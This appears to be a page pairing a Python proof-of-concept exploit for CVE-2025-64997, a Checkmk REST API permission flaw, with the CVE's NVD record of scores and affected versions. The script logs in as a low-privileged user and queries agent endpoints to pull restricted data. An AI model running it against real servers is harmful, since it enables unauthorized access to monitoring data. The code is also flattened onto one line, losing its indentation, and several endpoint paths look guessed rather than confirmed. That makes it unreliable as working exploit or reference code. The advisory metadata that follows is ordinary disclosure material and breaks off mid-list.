CVE-2025-64997

import requests import sys # CVE-2025-64997 PoC - Checkmk Insufficient Permission Validation # Target: Checkmk versions < 2.4.0p17 and < 2.3.0p42 def exploit_checkmk(target_url, username, password): """ Exploit insufficient permission validation in Checkmk REST API to retrieve agent information as low-privileged user. """ # Login to get session cookie login_url = f"{target_url}/check_mk/login.py" login_data = { 'username': username, 'password': password, '_login': '1' } session = requests.Session() login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print(f"[-] Login failed") return None print(f"[+] Logged in as {username}") # Request agent information via REST API # This should require higher privileges but doesn't due to the vulnerability api_endpoints = [ '/api/1.0.0/objects/agent/*', '/api/1.0.0/objects/agent/config', '/api/1.0.0/objects/agent/registration' ] for endpoint in api_endpoints: agent_url = f"{target_url}{endpoint}" response = session.get(agent_url) if response.status_code == 200: print(f"[+] Sensitive data leaked from {endpoint}") print(f"Response: {response.text[:500]}") return response.json() print("[-] No agent information accessible (possibly patched)") return None if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://checkmk.local lowprivuser password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_checkmk(target, user, pwd)

{"cve": {"id": "CVE-2025-64997", "sourceIdentifier": "[email protected]", "published": "2025-12-18T10:16:11.593", "lastModified": "2025-12-23T17:03:40.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient permission validation in Checkmk versions prior to 2.4.0p17 and 2.3.0p42 allow low-privileged users to view agent information via the REST API, which could lead to information disclosure."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "8447E2D1-A540-4D4D-A89B-71581EB5C47A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:-:*:*:*:*:*:*", "matchCriteriaId": "83202950-840A-4CB7-AD96-CE62E84FABD8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:b1:*:*:*:*:*:*", "matchCriteriaId": "1A020A77-7D84-4557-9B0B-D74A89BC1538"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:b2:*:*:*:*:*:*", "matchCriteriaId": "D9770554-978B-4552-9E0E-CD6B6675243C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:b3:*:*:*:*:*:*", "matchCriteriaId": "1883D2F4-CB96-4DDE-87E8-D1990A3FA092"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:b4:*:*:*:*:*:*", "matchCriteriaId": "99AD6F39-AF67-4CB9-BED2-00CA75B9F5DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:b5:*:*:*:*:*:*", "matchCriteriaId": "F08FE580-67D4-419C-AE4A-3B9EBC6A2838"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:b6:*:*:*:*:*:*", "matchCriteriaId": "9DD5C67F-CD3E-400E-802D-8B52408A259F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p1:*:*:*:*:*:*", "matchCriteriaId": "310A2FA2-633A-48FB-A5C2-9A9A922E72E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p10:*:*:*:*:*:*", "matchCriteriaId": "3C0F1DC8-D9DF-4A7A-80DC-618FAB091375"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p11:*:*:*:*:*:*", "matchCriteriaId": "9B0A1E3E-1B5A-4346-95BC-DE6FF6EE14CA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p12:*:*:*:*:*:*", "matchCriteriaId": "EB52B2A7-BDC1-4A4F-ABAF-69C1BA8E83C2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p13:*:*:*:*:*:*", "matchCriteriaId": "9F89225F-6969-4D89-B889-9CB09972825B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p14:*:*:*:*:*:*", "matchCriteriaId": "2A1B23EA-4571-4E4E-80BC-FD76FFD83FFB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p15:*:*:*:*:*:*", "matchCriteriaId": "625A6998-5DAE-4538-9760-20523CCE501F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p16:*:*:*:*:*:*", "matchCriteriaId": "6EFD4461-2C37-418F-90AD-3A956B2D91C7"}, {"vulnerable": true, ... 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